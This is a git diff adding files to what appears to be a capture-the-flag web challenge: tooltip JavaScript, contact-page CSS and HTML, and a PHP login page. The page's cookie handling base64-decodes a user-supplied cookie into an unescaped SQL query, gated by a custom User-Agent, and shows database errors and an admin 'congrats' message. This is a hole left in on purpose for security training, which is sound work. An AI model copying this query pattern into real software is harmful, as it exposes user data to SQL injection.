B=o(V,z),y=B[nb]("*"),C=y[i];while(C--)if(y[C].type=="submit")n=Db(B)}if(k!=n){k=n;k[A](d)}c.b=c[qb]-a.l;c.c=c[pb]-a.m;e=ac(g.maxWidth,z,s);this.m(g,0);c.tw=e[r];c.th=e[u];g.effect=="fade"&&fb(e,0);var q=c.tw+a.l+a.b+a.b,p=c.th+a.m+a.b+a.b,l=this.p(g,q,p);if(g.smartPosition)var b=Ub(q+a.f,p+a.f,l.x,l.y);else b={l:l.x,t:l.y};var h=g[Q],m=this.u(h,g[Hb],q,p);if(g.smartPosition&&h<4){var v=b.l-l.x,w=b.t-l.y;if(h==0||h==2)m[0]-=v;else v&&j(f,0);if(h==1||h==3)m[1]-=w;else w&&j(f,0)}if(k==x){var t=Xb();b.l=b.l+t[0];b.t=b.t+t[1]}b.x=m[0];b.y=m[1];return b},p:function(b,z,y){var c,d,g,f,q=b[Q],n=b[Hb];if(q<4)if(b.nodeType!=1)c=d=g=f=0;else if(b.relativeTo=="mouse"){c=Z.a;d=Z.b;if(Z.a==null){c=p(b,0)+m(b[r]/2);d=p(b,1)+m(b[u]/2)}g=0;f=0}else{var h=b,e=Zb(b);if(e[i]){e=e[0];if(e[r]>=b[r]||e[u]>=b[u])h=e}c=p(h,0);d=p(h,1);g=h[r];f=h[u]}var o=20,l=z+2*b[gb],j=y+2*b[gb];switch(q){case 0:c+=m(g/2-l*n);d-=j+o;break;case 2:c+=m(g/2-l*n);d+=f+o;break;case 3:c-=l+o;d+=m(f/2-j*n);break;case 4:c=m((J(0)-l)/2);d=m((J(1)-j)/2);break;case 5:c=d=0;break;case 6:c=J(0)-l-Math.ceil(a.l/2);d=J(1)-j-Math.ceil(a.m/2);break;case 1:default:c+=g+o;d+=m(f/2-j*n)}var s=0,t=0;if(k!=x){s=k[v]-p(k,0);t=k[w]-p(k,1)}return{x:c+s+b.offsetX,y:d+t+b.offsetY}},u:function(g,c,e,d){j(f,g<4);var b=[0,0];switch(g){case 0:b=[e*c,m(d+a.f)];break;case 1:b=[0,d*c];break;case 2:b=[e*c,0];break;case 3:b=[m(e+a.f),d*c]}return b}};var Eb=function(){if(g==null){if(typeof console!=="undefined"&&typeof console.log==="function"){var a=console.log;console.log=function(){a.call(this,++xb,arguments)}}g=new Mb;if(a)console.log=a}if(l&&l.m&&d[P].indexOf(lb("kdvh#Uh"))!=-1)g.i=Ob;return g},yb=function(d,c,b){b=b||{};var a;for(a in c)d[a]=b[a]!==undefined?b[a]:c[a]},ub=0,K,Jb=function(a){if(!a){a=o(M,"div");a.m=1;a[b][Nb]="none";x[A](a)}if(typeof a==="string")a=o(V,a);l=a;return a},zb=function(b,a){return bb&&b.target==a?0:1},Bb=function(a,b){yb(a,L,b);if(Ab||bb){a.showDelay=1;a[W]=30}if(a[kb])if(!a[E])a[E]=a[kb];rb(a,"click",O);if(a[E])a[db]=function(a){zb(a,this)&&q()};else if(Lb)a[Wb]=function(a){Rb(a)&&g.a(this[W])};else a[db]=function(a){zb(a,this)&&g.a(this[W])};if(a.relativeTo=="mouse")a.onmousemove=dc;a.set=1},mb=function(a,c,f){a=Jb(a);var b=0;if(c.charAt(0)=="#"){if(c[i]>2&&c.charAt(1)=="#")b=2;else b=1;var d=c.substring(b),e=o(V,d);if(e){if(b==2)c=e[P]}else b=-1}if(!a||!g||b==-1){if(++ub<40)K=B(function(){mb(a,c,f)},0,90)}else{K=cb(K);!a.set&&Bb(a,f);if(b==1)g.d(a,d,2);else g.d(a,c,1)}},Cb=function(a,d,b,c){a=Jb(a);if(!a||!g){if(++ub<40)K=B(function(){Cb(a,d,b,c)},0,90)}else{K=cb(K);!a.set&&Bb(a,c);g.e(a,d,b)}};rb(window,"load",Eb);var Fb=function(a){if(++ub<20)if(!g)B(function(){Fb(a)},0,90);else{yb(L,L,a);j(d,1);g.m(L,0);j(d,0)}};return{changeOptions:function(L_options){Fb(L_options)},pop:function(L_sender,L_text,L_options){mb(L_sender,L_text,L_options)},ajax:function(L_sender,L_url,L_ajaxSettings,L_options){Cb(L_sender,L_url,L_ajaxSettings,L_options)},hide:function(){var a=Eb();a.i()}}}(tooltipOptions) \ No newline at end of file diff --git a/challenges/newchallenge4/inside/contact.css b/challenges/newchallenge4/inside/contact.css new file mode 100755 index 00000000..9b1ff6cf --- /dev/null +++ b/challenges/newchallenge4/inside/contact.css @@ -0,0 +1,637 @@ +html { + font-family: 'Gentium Book Basic', serif; + height:100%; + background-color: #FFF; + font-size: 100%; +} + +body{ + height: 100%; + margin: 0px; + min-width: 350px; + width: 100%; +} + +#sideCarNav{ + position: fixed; + width: 260px; + z-index: -1; + top: 0; + right: 0; + bottom: 0; + height: 100%; + line-height: 1em; + text-align: left; + overflow: auto; + visibility: hidden; + background-color: #FFF; + box-sizing:border-box; + transition:height 0s linear 0.14s, visibility 0s linear 0.14s; +} + +.clearfix:after{ + clear: both; +} + +.clearfix:before, .clearfix:after{ + content: " "; + display: table; +} + +#siteWrapper{ + background-color:#FFF; + position: relative; + padding: 0px; + box-sizing:border-box; + font-size: 1.125em; + line-height: 1.6em; + letter-spacing: 0; + font-weight: 400; + font-style: normal; + color: rgba(26, 26, 26, 0.6); + +} + +#header { + background-color: transparent; + position: absolute; + width: 100%; + padding: 0px 1.0256%; + box-sizing:border-box; + z-index: 1000; + top: 0; + left: 0; + line-height: 1em; /* inherited from #siteWrapper was 1.6em; */ +} + +header, nav, figure, main, #content, #prefooter, footer { + display: block; +} + +.inner-header{ + padding: 20px 0px; + display: table; + width: 100%; + box-sizing:border-box; + /*animation:1s ease-in-out 0s normal none 1 running header-anim;*/ /*keyframes part missing */ +} + +.inner-header { + margin: auto; +} + + +#header #logoWrapper, #header #headernav{ + box-sizing:border-box; + display: table-cell; + vertical-align: middle; +} + +#header #logoWrapper, #header #logoImage { + width: 140px; +} + +#logoImage { + margin: 0; + max-width: 100%; +} + +h1:first-child, h2:first-child, h3:first-child, .entry-title:first-child{ + margin-top: 0px; +} + +h1, h2, h3, .entry-title { + margin: 1em 0 0.5em; +} + +.nav-wrapper nav > div { + display: inline-block; + vertical-align: middle; + margin: 0px; +} + +#headernav nav .active > a { + color: #FFF; +} + +#headernav nav a{ + display: inline-block; + position: relative; + font-family: 'Gentium Book Basic', serif; + font-size: 0.7em; + text-transform: uppercase; + text-decoration: none; + letter-spacing: 2px; + font-weight: 400; + font-style: normal; + line-height: 1em; + color: rgba(255, 255, 255, 0.8); +} + +.nav-wrapper nav > div a { + display: block; + padding: 0.75em 1em; + -moz-transition:color 0.1s ease-in-out 0s; + -webkit-transition:color 0.1s ease-in-out 0s; +} + +.nav-wrapper nav > div a:hover { + color: rgba(255, 255, 255, 1); +} + + +h1, .entry-title { + color: rgba(26, 26, 26, 0.9); +} + +h1, .entry-title{ + line-height: 1.2em; + font-family: 'Gentium Book Basic', serif; + text-transform: none; + letter-spacing: 0; + font-weight: 400; + font-style: normal; +} + +h1, h2, h3 { + text-rendering:optimizelegibility; +} + +#logoImage a { + display: block; +} + +#header a{ + text-decoration: none; +} + +a { + text-decoration: none; + color: rgba(26, 26, 26, 0.6); + background: none repeat scroll 0% 0% transparent; +} + +#header #headernav { + text-align: right; +} + +#headernav { + vertical-align: top !important; + white-space: nowrap; +} + +#header #mainNavWrapper { + position: relative; + z-index: 1000; +} +#mainNavWrapper{ + margin-top: 24px; +} + +#headernav nav > div:last-child a { + background-color: transparent; + border: 2px solid #FFF; + color:#FFF; +} + +#headernav nav > div:last-child a { + font-family: 'Gentium Book Basic', serif; + text-transform: uppercase; + text-decoration: none; + letter-spacing: 2px; + font-weight: 400; + font-style: normal; + margin-left: 1em; + padding: 1em 1.5em !important; + display: block; + -moz-transition: background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; + -webkit-transition: background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; +} + +#headernav nav > div:last-child a:hover { + background-color: #FFF; + color: #575757; +} + +.banner-thumbnail-wrapper { + position: absolute; + background-color: rgba(0, 0, 0, 0.7); + z-index: 99; + background: url("images/bg23.jpg") no-repeat center center fixed; + -webkit-background-size:cover; + background-size: cover; +} + +#thumbnail { + position: absolute; + top: 0px; + right: 0px; + bottom: 0px; + left: 0px; + animation:0.6s ease-in-out 0s normal none 1 running feature-bg-anim; +} + + +.banner-thumbnail-wrapper{ + position: relative; + overflow: hidden; + width: 100%; + min-height: 0; + padding: 155px 0; +} + +figure { + margin: 0; +} + +img { + +} + +.desc-wrapper{ + text-rendering:optimizelegibility; + text-align: center; + padding: 32px; + margin: 0 auto; + box-sizing:border-box; + max-width: 956px; + width: 100%; + position: relative; + z-index: 100; + animation:0.75s ease-in-out 0s normal none 1 running feature-text-anim; +} + +.desc-wrapper p{ + line-height: 1.5em; + font-family: 'Gentium Book Basic', serif; + font-size: 24px; + text-transform: none; + letter-spacing: 1px; + font-weight: 400; + font-style: italic; + color: #FFF; + margin: 20px auto; +} + +.desc-wrapper p:first-child { + /*visibility: hidden;*/ +} +.desc-wrapper p > strong { + display: block; + line-height: 1em; + font-family: 'Gentium Book Basic', serif; + font-size: 3em; + text-transform: uppercase; + font-weight: 700; + font-style: normal; + color: #FFF; +} + +.desc-wrapper p a{ + color: #FFF; + border-bottom: 1px solid #FFF; +} + +.desc-wrapper p:last-child > a{ + box-sizing:border-box; + font-family: 'Gentium Book Basic', serif; + font-size: 15px; /*change*/ + text-transform: uppercase; + letter-spacing: 2px; + font-weight: 400; + font-style: normal; + text-decoration: none; + padding: 1em 1.75em; + background: #FFF; + display: inline-block; + line-height: 1em; + margin: 10px 0px; + color: #FFF; + border: medium none; + -moz-transition:background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; + -webkit-transition:background-color 0.1s ease-in-out 0s, color 0.1s ease-in-out 0s; +} + +.desc-wrapper p:last-child > a:hover { + background-color: #FFF; + color: #575757; +} + +.desc-wrapper p:last-child > a{ + background-color: transparent; + border: 2px solid #FFF !important; + color: #FFF; +} + + + + +/* grid starts*/ +.image-grid-container{ + width: 100%; + max-width: 1500px; + text-align: center; + margin: 0 auto; +} +.row { + width: 100%; +} +.row:before, .row:after{ + content: ""; + display: table; + clear: both; +} + +[class*='col-'] { + float: left; + min-height: 1px; + display: block; + padding: auto; + overflow: hidden; + margin: 0; + text-align: center; +} + +.col-3 { + width: 33.33%; +} +.col-100{ + width: 100%; +} +.col-40{ + width: 40%; +} +.col-60{ + width: 60%; +} +/* grid ends*/ + + + +/*button css starts*/ +.button-wrapper{ + padding: 17px 0px; + margin: 0; +} + +.button { + text-align: center; +} + +.button-element{ + display: inline-block; + width: 50%; + height: auto; + padding: 13px 16px; + text-align: center; + line-height: normal; + font-size: 12px; + font-style: normal; + font-weight: 600; + font-family: 'Gentium Book Basic', serif; + letter-spacing: 1px; + text-transform: uppercase; + color: #272727; + border: 2px solid; + background-color: transparent; + transition: background-color 0.1s linear 0s, color 0.1s linear 0s; + +} + +.button a:hover{ + background-color: #272727; + color: #FFF; +} +/*button css ends*/ + + + + +/* ruleblock start*/ +.ruleblock { + clear: both; + position: relative; + height: auto; + padding: 10px 0px; + margin: 0; +} +hr{ + display: block; + height: 1px; + border: 0; + border-top: 1px dotted #1A1A1A; + opacity: 0.25; + +} +/*ruleblock ends*/ + + + + +#page{ + box-sizing:border-box; + width: 100%; + margin: auto; + max-width: 1020px; + padding: 96px 32px; /* change */ +} + +#content{ + margin: auto; + width: 100%; +} + +.center-align{ + text-align: center; +} +#contactform{ + width: 80%; + margin: 0 auto; +} +.input-block-level { + min-height: 30px; + width: 100%; + display: block; + box-sizing:border-box; + margin-bottom: 20px; + font-family: 'Gentium Book Basic', serif; +} +.input-block-level{ + padding: 8px 6px 4px 15px; + margin: 0; + font-size: 17px; + letter-spacing: normal; + background-color: transparent; + border: 1px solid #CCC; + color: #000; + margin-bottom: 20px; + height: 50px; + vertical-align: middle; + border-radius: 0px; + display: inline-block; + padding-left: 4px 6px; + line-height: 20px; +} + +.input-block-level:focus{ + border: 1px solid black; +} + + + + + +/*footer*/ +/* +#footer{ + width: 100%; + background-color: #333; + margin:0; + padding: 0 0 25px 0; + border-top:4px solid gray; + color:#FFFFFF; + font-weight: 600; + font-family: 'Gentium Book Basic', serif; +} + +.inner-footer{ + width: 100%; + margin:0 auto; + max-width: 1500px; +} + +.inner-footer .module h4{ + font-weight: 500; + font-size: 1.125em; + letter-spacing: 3px; + line-height: 1.4375em; + margin-bottom: 0 0 30px 0; +} +#user-form{ + background-color: #1f1f1f; + width: 75%; + margin: 20px auto; +} +#user-form .user-email { + background: none; + font-size: 1em; + color:#ffffff; + font-weight: 300; + width: 68.6%; + float:left; + border:0; + margin: 0; + padding: 10px 15px 10px 25px; +} +.emailupdates p, .legal p{ + font-size: 15px; + line-height: 18px; + margin-bottom: 15px; + color: #bbbbbb; +} +#user-form .user-submit { + margin-top: 10px; +} +#icons{ + margin: 0; + padding: 0; + position: relative; +} +#icons a{ + top:0; +} +#icons img:hover{ + cursor: pointer; +} +.footer-bottom{ + width: 100%; + background-color: #1f1f1f; + margin: 0; + padding: 0; +} +.footer-bottom-inner{ + width: 53.7%; + margin: 0 auto; + color: #FFFFFF; + border-top: 8px solid #1f1f1f; + display: table; +} +.footer-bottom-inner .bottom-logo, .footer-bottom-inner .bottom-desc{ + box-sizing:border-box; + display: table-cell; + vertical-align: middle; +} +.footer-bottom-inner .bottom-desc{ + white-space: nowrap; + position: relative; + text-align: center; +} +.footer-bottom-inner .bottom-desc-text{ + display: block; + text-align: right; +} +*/ +/*new footer*/ + +footer{ + background-color: white; + color: #10C1FA; + font-size: 0.85em; + border-top: 1px solid #ECE5E5; +} +footer .social{ + margin: 5px 20px; +} +footer .social img{ + margin: 12px auto; + border: 1px solid #F8F6F6; + border-radius: 4px; + padding: 2px; +} +footer a:hover{ + text-decoration: underline; +} +footer a:visited{ + text-decoration: none; +} +footer ul{ + vertical-align: baseline; + height: 42px; + margin: 10px auto; + list-style: none; +} +footer li { + display: inline-block; +} +footer li:not(.copyli){ + padding: 0 10px; + border-right: 2px solid #F8F6F6; +} +footer ul .contactli { + color: red; +} +footer ul .copyli{ + color: black; +} + + +/*adding effect to navbar*/ +.collection a:after{ + position: absolute; + top: 100%; + left: 0px; + width: 100%; + background: none repeat scroll 0% 0% #FFFFFF; + content: ""; + opacity: 0; + transition:height 0.3s ease 0s, opacity 0.3s ease 0s, transform 0.3s, ease 0s; + height: 1px; + /*transform:translateY(-10px);*/ +} + +.collection a:hover:after, .collection a:focus:after{ + opacity: 1; + /*transform:translateY(0px);*/ + height: 2px; + +} diff --git a/challenges/newchallenge4/inside/contact.html b/challenges/newchallenge4/inside/contact.html new file mode 100755 index 00000000..64abcbd3 --- /dev/null +++ b/challenges/newchallenge4/inside/contact.html @@ -0,0 +1,92 @@ + + + + + + Website's Name + + + + + + +
+ +
+
+ + + + + + + +
+
+
+
+

Let's Do Awesome Things Together.

+
+

+

narendra.prog@test.com

+

+

Click here to Login

+
+
+
+
+ +
+
+
+ + +
+ + \ No newline at end of file diff --git a/challenges/newchallenge4/inside/index1.php b/challenges/newchallenge4/inside/index1.php new file mode 100755 index 00000000..95e6d426 --- /dev/null +++ b/challenges/newchallenge4/inside/index1.php @@ -0,0 +1,283 @@ + + + + + + Website's Name + + + + + + +
+ +
+
+ + + + + +"; + echo "
Welcome to the Login Page    
"; + echo "
"; + echo "
"; + echo "
"; + + echo ""; + echo '
'; + + echo '
Username :    '; + echo '
'; + + echo '
Password :      '; + echo '

'; + echo '
'; + + echo ''; + echo '
'; + echo '
'; + echo '
'; + echo ''; + echo '

'; + echo '
'; + + + + + + + +function check_input($value) + { + if(!empty($value)) + { + $value = substr($value,0,20); + } + if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled + { + $value = stripslashes($value); + } + if (!ctype_digit($value)) + { + $value = "'" . mysql_real_escape_string($value) . "'"; + } + else + { + $value = intval($value); + } + return $value; + } + + + + echo "
"; + echo "
"; + + if(isset($_POST['uname']) && isset($_POST['passwd'])) + { + + $uname = check_input($_POST['uname']); + $passwd = check_input($_POST['passwd']); + + + + + $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; + $result1 = mysql_query($sql); + $row1 = mysql_fetch_array($result1); + if($row1) + { + echo ''; + setcookie('uname', base64_encode($row1['username']), time()+3600); + header ('Location: index1.php'); + echo "I LOVE YOU COOKIES"; + echo ""; + echo ''; + + echo ""; + echo "
"; + print_r(mysql_error()); + echo "

"; + echo "test"; + echo "
"; + } + else + { + echo ''; + print_r(mysql_error()); + echo "Invalid credentials"; + echo "
"; + echo "
"; + echo "
"; + } + } + + echo "
"; + echo '
'; + echo '
'; + +} +else +{ + + + + if(!isset($_POST['submit'])) + { + + // print_r($_SERVER); + echo "
"; + if ( ($_SERVER['HTTP_USER_AGENT'] === 'OurBrowser' ) ) + { + $cookee = $_COOKIE['uname']; + $format = 'D d M Y - H:i:s'; + $timestamp = time() + 3600; + echo "
"; + echo "


"; + echo "

"; + echo '
'; + // echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT']; + // echo "
"; + echo ''; + + $cookee = base64_decode($cookee); + $cookee1 = '"'. $cookee. '"'; + echo ""; + $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1"; + $result=mysql_query($sql); + if (!$result) + { + die('Issue with your mysql: ' . mysql_error() . "



"); + } + $row = mysql_fetch_array($result); + if($row) + { + echo ''; + echo "You now have access to your Profile

"; + echo 'You are logged in as : '. $row['username']; + echo "
"; + if($row['username'] == "admin"){ + echo "

CONGRATS, YOU NAILED IT !"; + echo "









"; + die(); + } + echo ''; + echo "
"; + echo "
"; + echo 'Your CALL ID is : ' .$row['id']; + } + else + { + echo "

"; + echo "You almost got it"; + echo '


'; + echo "

"; + } + echo '
'; + echo "


"; + echo '
'; + echo ''; + echo ''; + echo '
'; + } + else{ + echo "

You have logged in, but unfortunately you cannot access your profile without OurBrowser
"; + echo "
*If you are our customer, you would have our paid browser and you would know how to continue
"; + echo "
"; + echo '
'; + echo "


"; + echo '
'; + echo ''; + echo ''; + echo '
'; + } + } + else + { + echo '
'; + echo "
"; + echo "
"; + echo "
"; + echo "
"; + echo "
"; + echo "
"; + echo ''; + echo " Your Cookie is deleted"; + setcookie('uname', base64_encode($row1['username']), time()-3600); + header ('Location: index1.php'); + echo '

'; + + } + + + echo "
"; + echo "
"; + //header ('Location: main.php'); + echo "
"; + echo "
"; + + +} +?> + + + +
+ + diff --git a/challenges/newchallenge4/inside/newicons/1421020759_internt_web_technology-08-128.png b/challenges/newchallenge4/inside/newicons/1421020759_internt_web_technology-08-128.png new file mode 100755 index 00000000..25423b60 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/1421020759_internt_web_technology-08-128.png differ diff --git a/challenges/newchallenge4/inside/newicons/1421020820_internt_web_technology-14-64.png b/challenges/newchallenge4/inside/newicons/1421020820_internt_web_technology-14-64.png new file mode 100755 index 00000000..51f91746 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/1421020820_internt_web_technology-14-64.png differ diff --git a/challenges/newchallenge4/inside/newicons/1421020862_internt_web_technology-13-48.png b/challenges/newchallenge4/inside/newicons/1421020862_internt_web_technology-13-48.png new file mode 100755 index 00000000..bb81ab4c Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/1421020862_internt_web_technology-13-48.png differ diff --git a/challenges/newchallenge4/inside/newicons/1421021091_map-128.png b/challenges/newchallenge4/inside/newicons/1421021091_map-128.png new file mode 100755 index 00000000..1d47948e Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/1421021091_map-128.png differ diff --git a/challenges/newchallenge4/inside/newicons/fb24_1.png b/challenges/newchallenge4/inside/newicons/fb24_1.png new file mode 100755 index 00000000..7a61b287 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/fb24_1.png differ diff --git a/challenges/newchallenge4/inside/newicons/fb24_2.png b/challenges/newchallenge4/inside/newicons/fb24_2.png new file mode 100755 index 00000000..128d9a0f Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/fb24_2.png differ diff --git a/challenges/newchallenge4/inside/newicons/gmail32.png b/challenges/newchallenge4/inside/newicons/gmail32.png new file mode 100755 index 00000000..fd70437e Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/gmail32.png differ diff --git a/challenges/newchallenge4/inside/newicons/google24_2.png b/challenges/newchallenge4/inside/newicons/google24_2.png new file mode 100755 index 00000000..7b868772 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/google24_2.png differ diff --git a/challenges/newchallenge4/inside/newicons/instagram.png b/challenges/newchallenge4/inside/newicons/instagram.png new file mode 100755 index 00000000..68bb1a39 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/instagram.png differ diff --git a/challenges/newchallenge4/inside/newicons/linkedin24_2.png b/challenges/newchallenge4/inside/newicons/linkedin24_2.png new file mode 100755 index 00000000..4dc9c022 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/linkedin24_2.png differ diff --git a/challenges/newchallenge4/inside/newicons/linkedin32.png b/challenges/newchallenge4/inside/newicons/linkedin32.png new file mode 100755 index 00000000..ea15de25 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/linkedin32.png differ diff --git a/challenges/newchallenge4/inside/newicons/mail24_1.png b/challenges/newchallenge4/inside/newicons/mail24_1.png new file mode 100755 index 00000000..66ec95c5 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/mail24_1.png differ diff --git a/challenges/newchallenge4/inside/newicons/mail24_2.png b/challenges/newchallenge4/inside/newicons/mail24_2.png new file mode 100755 index 00000000..c59cac41 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/mail24_2.png differ diff --git a/challenges/newchallenge4/inside/newicons/mail64_1.png b/challenges/newchallenge4/inside/newicons/mail64_1.png new file mode 100755 index 00000000..d94a3416 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/mail64_1.png differ diff --git a/challenges/newchallenge4/inside/newicons/place24.png b/challenges/newchallenge4/inside/newicons/place24.png new file mode 100755 index 00000000..721525ed Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/place24.png differ diff --git a/challenges/newchallenge4/inside/newicons/place32.png b/challenges/newchallenge4/inside/newicons/place32.png new file mode 100755 index 00000000..87b6dee6 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/place32.png differ diff --git a/challenges/newchallenge4/inside/newicons/twit.png b/challenges/newchallenge4/inside/newicons/twit.png new file mode 100755 index 00000000..16b88d59 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/twit.png differ diff --git a/challenges/newchallenge4/inside/newicons/twitter24_2.png b/challenges/newchallenge4/inside/newicons/twitter24_2.png new file mode 100755 index 00000000..57c3b201 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/twitter24_2.png differ diff --git a/challenges/newchallenge4/inside/newicons/twitter32.png b/challenges/newchallenge4/inside/newicons/twitter32.png new file mode 100755 index 00000000..14fb00c1 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/twitter32.png differ diff --git a/challenges/newchallenge4/inside/newicons/twitter32_1.png b/challenges/newchallenge4/inside/newicons/twitter32_1.png new file mode 100755 index 00000000..0d2778f6 Binary files /dev/null and b/challenges/newchallenge4/inside/newicons/twitter32_1.png differ diff --git a/challenges/newchallenge4/inside/use-icon/fb48_1.png b/challenges/newchallenge4/inside/use-icon/fb48_1.png new file mode 100755 index 00000000..b6bc1b76 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/fb48_1.png differ diff --git a/challenges/newchallenge4/inside/use-icon/fb48_2.png b/challenges/newchallenge4/inside/use-icon/fb48_2.png new file mode 100755 index 00000000..1b0af134 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/fb48_2.png differ diff --git a/challenges/newchallenge4/inside/use-icon/fb48_3.png b/challenges/newchallenge4/inside/use-icon/fb48_3.png new file mode 100755 index 00000000..09694e85 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/fb48_3.png differ diff --git a/challenges/newchallenge4/inside/use-icon/fb48_4.png b/challenges/newchallenge4/inside/use-icon/fb48_4.png new file mode 100755 index 00000000..89526692 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/fb48_4.png differ diff --git a/challenges/newchallenge4/inside/use-icon/fb_32.png b/challenges/newchallenge4/inside/use-icon/fb_32.png new file mode 100755 index 00000000..4be62fb2 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/fb_32.png differ diff --git a/challenges/newchallenge4/inside/use-icon/gplus48.png b/challenges/newchallenge4/inside/use-icon/gplus48.png new file mode 100755 index 00000000..983f1afb Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/gplus48.png differ diff --git a/challenges/newchallenge4/inside/use-icon/gplus48_2.png b/challenges/newchallenge4/inside/use-icon/gplus48_2.png new file mode 100755 index 00000000..ee2a147c Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/gplus48_2.png differ diff --git a/challenges/newchallenge4/inside/use-icon/gplus48_3.png b/challenges/newchallenge4/inside/use-icon/gplus48_3.png new file mode 100755 index 00000000..9cc71349 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/gplus48_3.png differ diff --git a/challenges/newchallenge4/inside/use-icon/gplus48_4.png b/challenges/newchallenge4/inside/use-icon/gplus48_4.png new file mode 100755 index 00000000..549ae0ed Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/gplus48_4.png differ diff --git a/challenges/newchallenge4/inside/use-icon/linkedin48_1.png b/challenges/newchallenge4/inside/use-icon/linkedin48_1.png new file mode 100755 index 00000000..7a8e11ac Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/linkedin48_1.png differ diff --git a/challenges/newchallenge4/inside/use-icon/linkedin48_2.png b/challenges/newchallenge4/inside/use-icon/linkedin48_2.png new file mode 100755 index 00000000..417514aa Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/linkedin48_2.png differ diff --git a/challenges/newchallenge4/inside/use-icon/linkedin48_3.png b/challenges/newchallenge4/inside/use-icon/linkedin48_3.png new file mode 100755 index 00000000..9a77eef9 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/linkedin48_3.png differ diff --git a/challenges/newchallenge4/inside/use-icon/linkedin48_4.png b/challenges/newchallenge4/inside/use-icon/linkedin48_4.png new file mode 100755 index 00000000..b35db457 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/linkedin48_4.png differ diff --git a/challenges/newchallenge4/inside/use-icon/linkedin_32.png b/challenges/newchallenge4/inside/use-icon/linkedin_32.png new file mode 100755 index 00000000..9c009a52 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/linkedin_32.png differ diff --git a/challenges/newchallenge4/inside/use-icon/mail32.png b/challenges/newchallenge4/inside/use-icon/mail32.png new file mode 100755 index 00000000..bf5a04fd Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/mail32.png differ diff --git a/challenges/newchallenge4/inside/use-icon/mail32_1.png b/challenges/newchallenge4/inside/use-icon/mail32_1.png new file mode 100755 index 00000000..e80e9b08 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/mail32_1.png differ diff --git a/challenges/newchallenge4/inside/use-icon/msg_1png b/challenges/newchallenge4/inside/use-icon/msg_1png new file mode 100755 index 00000000..c49221ad Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/msg_1png differ diff --git a/challenges/newchallenge4/inside/use-icon/twitter48_1.png b/challenges/newchallenge4/inside/use-icon/twitter48_1.png new file mode 100755 index 00000000..fa928111 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/twitter48_1.png differ diff --git a/challenges/newchallenge4/inside/use-icon/twitter48_2.png b/challenges/newchallenge4/inside/use-icon/twitter48_2.png new file mode 100755 index 00000000..2a560776 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/twitter48_2.png differ diff --git a/challenges/newchallenge4/inside/use-icon/twitter48_3.png b/challenges/newchallenge4/inside/use-icon/twitter48_3.png new file mode 100755 index 00000000..b8ab821d Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/twitter48_3.png differ diff --git a/challenges/newchallenge4/inside/use-icon/twitter48_4.png b/challenges/newchallenge4/inside/use-icon/twitter48_4.png new file mode 100755 index 00000000..0bc14d99 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/twitter48_4.png differ diff --git a/challenges/newchallenge4/inside/use-icon/twitter_32.png b/challenges/newchallenge4/inside/use-icon/twitter_32.png new file mode 100755 index 00000000..bbcc2cc2 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icon/twitter_32.png differ diff --git a/challenges/newchallenge4/inside/use-icons/facebook.png b/challenges/newchallenge4/inside/use-icons/facebook.png new file mode 100755 index 00000000..5fb0213b Binary files /dev/null and b/challenges/newchallenge4/inside/use-icons/facebook.png differ diff --git a/challenges/newchallenge4/inside/use-icons/google.png b/challenges/newchallenge4/inside/use-icons/google.png new file mode 100755 index 00000000..2942c7ea Binary files /dev/null and b/challenges/newchallenge4/inside/use-icons/google.png differ diff --git a/challenges/newchallenge4/inside/use-icons/linkedin.png b/challenges/newchallenge4/inside/use-icons/linkedin.png new file mode 100755 index 00000000..ba6a753b Binary files /dev/null and b/challenges/newchallenge4/inside/use-icons/linkedin.png differ diff --git a/challenges/newchallenge4/inside/use-icons/submit.png b/challenges/newchallenge4/inside/use-icons/submit.png new file mode 100755 index 00000000..7e35d6d5 Binary files /dev/null and b/challenges/newchallenge4/inside/use-icons/submit.png differ diff --git a/challenges/newchallenge4/inside/use-icons/submit_check.png b/challenges/newchallenge4/inside/use-icons/submit_check.png new file mode 100755 index 00000000..d8da4735 Binary files /dev/null and 